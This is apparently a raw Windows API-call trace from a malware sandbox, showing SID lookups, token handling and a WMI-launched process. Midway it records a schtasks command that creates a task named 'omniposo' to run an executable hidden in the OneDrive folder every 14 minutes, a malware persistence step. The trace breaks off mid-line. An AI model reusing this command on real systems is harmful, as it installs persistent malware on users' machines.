[0139.853] memcpy (in: _Dst=0x139638, _Src=0x161948, _Size=0x4 | out: _Dst=0x139638) returned 0x139638 [0139.853] free (_Block=0x2aefc0) [0139.853] free (_Block=0x2af0c0) [0139.853] malloc (_Size=0x18) returned 0x2af0c0 [0139.853] malloc (_Size=0x18) returned 0x2aefc0 [0139.853] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0139.853] SysStringLen (param_1="4219442223") returned 0xa [0139.853] memcpy (in: _Dst=0x1179a8, _Src=0x139628, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0139.853] memcpy (in: _Dst=0x1179ba, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0139.853] free (_Block=0x2aef80) [0139.853] free (_Block=0x2af0c0) [0139.853] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0139.853] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0139.853] malloc (_Size=0x18) returned 0x2af0c0 [0139.853] malloc (_Size=0x18) returned 0x2aef80 [0139.853] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0139.854] SysStringLen (param_1="-") returned 0x1 [0139.854] memcpy (in: _Dst=0x1182b8, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0139.854] memcpy (in: _Dst=0x1182de, _Src=0x139628, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0139.854] free (_Block=0x2aefc0) [0139.854] free (_Block=0x2af0c0) [0139.854] malloc (_Size=0x18) returned 0x2af0c0 [0139.854] malloc (_Size=0x18) returned 0x2aefc0 [0139.854] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0139.854] SysStringLen (param_1="4223814209") returned 0xa [0139.854] memcpy (in: _Dst=0x12db38, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0139.854] memcpy (in: _Dst=0x12db60, _Src=0x139628, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0139.854] free (_Block=0x2aef80) [0139.854] free (_Block=0x2af0c0) [0139.854] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0139.854] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0139.854] malloc (_Size=0x18) returned 0x2af0c0 [0139.854] malloc (_Size=0x18) returned 0x2aef80 [0139.854] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0139.854] SysStringLen (param_1="-") returned 0x1 [0139.854] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0139.854] memcpy (in: _Dst=0x12d844, _Src=0x139628, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0139.855] free (_Block=0x2aefc0) [0139.855] free (_Block=0x2af0c0) [0139.855] malloc (_Size=0x18) returned 0x2af0c0 [0139.855] malloc (_Size=0x18) returned 0x2aefc0 [0139.855] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0139.855] SysStringLen (param_1="3835049652") returned 0xa [0139.855] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0139.855] memcpy (in: _Dst=0x12db76, _Src=0x139628, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0139.855] free (_Block=0x2aef80) [0139.855] free (_Block=0x2af0c0) [0139.855] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0139.855] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0139.855] malloc (_Size=0x18) returned 0x2af0c0 [0139.855] malloc (_Size=0x18) returned 0x2aef80 [0139.855] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0139.855] SysStringLen (param_1="-") returned 0x1 [0139.855] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0139.855] memcpy (in: _Dst=0x12d85a, _Src=0x139628, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0139.855] free (_Block=0x2aefc0) [0139.855] free (_Block=0x2af0c0) [0139.855] malloc (_Size=0x18) returned 0x2af0c0 [0139.855] malloc (_Size=0x18) returned 0x2aefc0 [0139.856] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0139.856] SysStringLen (param_1="1000") returned 0x4 [0139.856] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0139.856] memcpy (in: _Dst=0x12db8c, _Src=0x139628, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0139.856] free (_Block=0x2aef80) [0139.856] free (_Block=0x2af0c0) [0139.856] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0139.856] malloc (_Size=0x5e) returned 0x2b08a0 [0139.856] free (_Block=0x2aefc0) [0139.856] malloc (_Size=0x18) returned 0x2aefc0 [0139.856] free (_Block=0x2b08a0) [0139.856] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0139.857] GetLastError () returned 0x7a [0139.857] malloc (_Size=0x14) returned 0x2af0c0 [0139.857] malloc (_Size=0x16) returned 0x2aef80 [0139.857] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca94, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0139.858] malloc (_Size=0x18) returned 0x2af000 [0139.858] malloc (_Size=0x18) returned 0x2aefa0 [0139.858] free (_Block=0x2af0c0) [0139.858] free (_Block=0x2aef80) [0139.858] free (_Block=0x2b0000) [0139.858] free (_Block=0x2aefa0) [0139.858] free (_Block=0x2af000) [0139.858] free (_Block=0x2aefc0) [0139.859] free (_Block=0x2ae2e0) [0139.859] malloc (_Size=0x48) returned 0x2ad270 [0139.859] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0139.865] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0139.865] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0139.865] malloc (_Size=0x18) returned 0x2aefc0 [0139.865] CreateEnvironmentBlock () returned 0x1 [0139.921] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0139.921] malloc (_Size=0x18) returned 0x2af000 [0139.922] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 14 /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x174df0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 14 /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xfa4, dwThreadId=0xfa8)) returned 1 [0139.926] CloseHandle (hObject=0x2f8) returned 1 [0139.927] CloseHandle (hObject=0x248) returned 1 [0139.927] free (_Block=0x2af000) [0139.927] DestroyEnvironmentBlock () returned 0x1 [0139.927] malloc (_Size=0x48) returned 0x2ad3b0 [0139.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x220d1180, dwHighDateTime=0x1d8a92a)) [0139.927] SetEvent (hEvent=0x1f0) returned 1 [0139.927] CloseHandle (hObject=0x234) returned 1 [0139.927] CloseHandle (hObject=0x238) returned 1 [0140.235] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0140.235] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0140.235] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0140.593] SetLastError (dwErrCode=0x0) [0140.593] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0140.593] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0140.593] SetLastError (dwErrCode=0x0) [0140.593] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0140.593] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0140.593] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0140.593] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0140.593] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0140.593] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0140.594] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0140.595] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0140.595] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0140.595] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0140.596] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0140.596] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0140.596] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0140.597] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0140.597] GetCurrentThread () returned 0xfffffffffffffffe [0140.597] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x238) returned 1 [0140.597] malloc (_Size=0xd8) returned 0x2b8790 [0140.598] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0140.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0140.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0140.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0140.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0140.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0140.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0140.598] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0140.599] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0140.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0140.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0140.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0140.600] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0140.600] malloc (_Size=0x18) returned 0x2af0e0 [0140.600] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0140.600] malloc (_Size=0x48) returned 0x2ad220 [0140.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x224fb800, dwHighDateTime=0x1d8a92a)) [0140.600] SetEvent (hEvent=0x1f0) returned 1 [0140.604] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0140.604] GetLastError () returned 0x7a [0140.604] malloc (_Size=0x2c) returned 0x2ae2a0 [0140.604] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0140.604] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0140.604] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0140.604] malloc (_Size=0x1c) returned 0x2affd0 [0140.604] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0140.604] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0140.604] malloc (_Size=0x18) returned 0x2aefc0 [0140.604] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0140.604] malloc (_Size=0x18) returned 0x2af000 [0140.604] malloc (_Size=0x18) returned 0x2aefa0 [0140.604] SysStringLen (param_1="S-1-") returned 0x4 [0140.604] SysStringLen (param_1="5") returned 0x1 [0140.604] memcpy (in: _Dst=0x161828, _Src=0x1395c8, _Size=0xa | out: _Dst=0x161828) returned 0x161828 [0140.604] memcpy (in: _Dst=0x161830, _Src=0x161a38, _Size=0x4 | out: _Dst=0x161830) returned 0x161830 [0140.604] free (_Block=0x2aefc0) [0140.604] free (_Block=0x2af000) [0140.604] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0140.604] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0140.604] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0140.605] malloc (_Size=0x18) returned 0x2af000 [0140.605] malloc (_Size=0x18) returned 0x2aefc0 [0140.605] SysStringLen (param_1="S-1-5") returned 0x5 [0140.605] SysStringLen (param_1="-") returned 0x1 [0140.605] memcpy (in: _Dst=0x161a38, _Src=0x161828, _Size=0xc | out: _Dst=0x161a38) returned 0x161a38 [0140.605] memcpy (in: _Dst=0x161a42, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x161a42) returned 0x161a42 [0140.605] free (_Block=0x2aefa0) [0140.605] free (_Block=0x2af000) [0140.605] malloc (_Size=0x18) returned 0x2af000 [0140.605] malloc (_Size=0x18) returned 0x2aefa0 [0140.605] SysStringLen (param_1="S-1-5-") returned 0x6 [0140.605] SysStringLen (param_1="21") returned 0x2 [0140.605] memcpy (in: _Dst=0x1395c8, _Src=0x161a38, _Size=0xe | out: _Dst=0x1395c8) returned 0x1395c8 [0140.605] memcpy (in: _Dst=0x1395d4, _Src=0x161828, _Size=0x6 | out: _Dst=0x1395d4) returned 0x1395d4 [0140.605] free (_Block=0x2aefc0) [0140.605] free (_Block=0x2af000) [0140.605] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0140.605] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0140.605] malloc (_Size=0x18) returned 0x2af000 [0140.605] malloc (_Size=0x18) returned 0x2aefc0 [0140.605] SysStringLen (param_1="S-1-5-21") returned 0x8 [0140.605] SysStringLen (param_1="-") returned 0x1 [0140.605] memcpy (in: _Dst=0x161828, _Src=0x1395c8, _Size=0x12 | out: _Dst=0x161828) returned 0x161828 [0140.605] memcpy (in: _Dst=0x161838, _Src=0x161a38, _Size=0x4 | out: _Dst=0x161838) returned 0x161838 [0140.605] free (_Block=0x2aefa0) [0140.606] free (_Block=0x2af000) [0140.606] malloc (_Size=0x18) returned 0x2af000 [0140.606] malloc (_Size=0x18) returned 0x2aefa0 [0140.606] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0140.606] SysStringLen (param_1="4219442223") returned 0xa [0140.606] memcpy (in: _Dst=0x1176d8, _Src=0x161828, _Size=0x14 | out: _Dst=0x1176d8) returned 0x1176d8 [0140.606] memcpy (in: _Dst=0x1176ea, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x1176ea) returned 0x1176ea [0140.606] free (_Block=0x2aefc0) [0140.606] free (_Block=0x2af000) [0140.606] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0140.606] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0140.606] malloc (_Size=0x18) returned 0x2af000 [0140.606] malloc (_Size=0x18) returned 0x2aefc0 [0140.606] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0140.606] SysStringLen (param_1="-") returned 0x1 [0140.606] memcpy (in: _Dst=0x1179f8, _Src=0x1176d8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0140.606] memcpy (in: _Dst=0x117a1e, _Src=0x161828, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0140.606] free (_Block=0x2aefa0) [0140.606] free (_Block=0x2af000) [0140.606] malloc (_Size=0x18) returned 0x2af000 [0140.606] malloc (_Size=0x18) returned 0x2aefa0 [0140.606] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0140.606] SysStringLen (param_1="4223814209") returned 0xa [0140.606] memcpy (in: _Dst=0x12d918, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0140.606] memcpy (in: _Dst=0x12d940, _Src=0x161828, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0140.606] free (_Block=0x2aefc0) [0140.606] free (_Block=0x2af000) [0140.607] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0140.607] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0140.607] malloc (_Size=0x18) returned 0x2af000 [0140.607] malloc (_Size=0x18) returned 0x2aefc0 [0140.607] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0140.607] SysStringLen (param_1="-") returned 0x1 [0140.607] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0140.607] memcpy (in: _Dst=0x12dc84, _Src=0x161828, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0140.607] free (_Block=0x2aefa0) [0140.607] free (_Block=0x2af000) [0140.607] malloc (_Size=0x18) returned 0x2af000 [0140.607] malloc (_Size=0x18) returned 0x2aefa0 [0140.607] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0140.607] SysStringLen (param_1="3835049652") returned 0xa [0140.607] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0140.607] memcpy (in: _Dst=0x12d956, _Src=0x161828, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0140.607] free (_Block=0x2aefc0) [0140.607] free (_Block=0x2af000) [0140.607] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0140.607] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0140.607] malloc (_Size=0x18) returned 0x2af000 [0140.607] malloc (_Size=0x18) returned 0x2aefc0 [0140.607] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0140.607] SysStringLen (param_1="-") returned 0x1 [0140.607] memcpy (in: _Dst=0x12dc48, _Src=0x12d918, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0140.607] memcpy (in: _Dst=0x12dc9a, _Src=0x161828, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0140.607] free (_Block=0x2aefa0) [0140.608] free (_Block=0x2af000) [0140.608] malloc (_Size=0x18) returned 0x2af000 [0140.608] malloc (_Size=0x18) returned 0x2aefa0 [0140.608] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0140.608] SysStringLen (param_1="1000") returned 0x4 [0140.608] memcpy (in: _Dst=0x12d918, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0140.608] memcpy (in: _Dst=0x12d96c, _Src=0x161828, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0140.608] free (_Block=0x2aefc0) [0140.608] free (_Block=0x2af000) [0140.608] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0140.608] malloc (_Size=0x5e) returned 0x2b08a0 [0140.608] free (_Block=0x2aefa0) [0140.608] malloc (_Size=0x18) returned 0x2aefa0 [0140.608] free (_Block=0x2b08a0) [0140.608] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0140.609] GetLastError () returned 0x7a [0140.609] malloc (_Size=0x14) returned 0x2af000 [0140.609] malloc (_Size=0x16) returned 0x2aefc0 [0140.609] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca84, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0140.610] malloc (_Size=0x18) returned 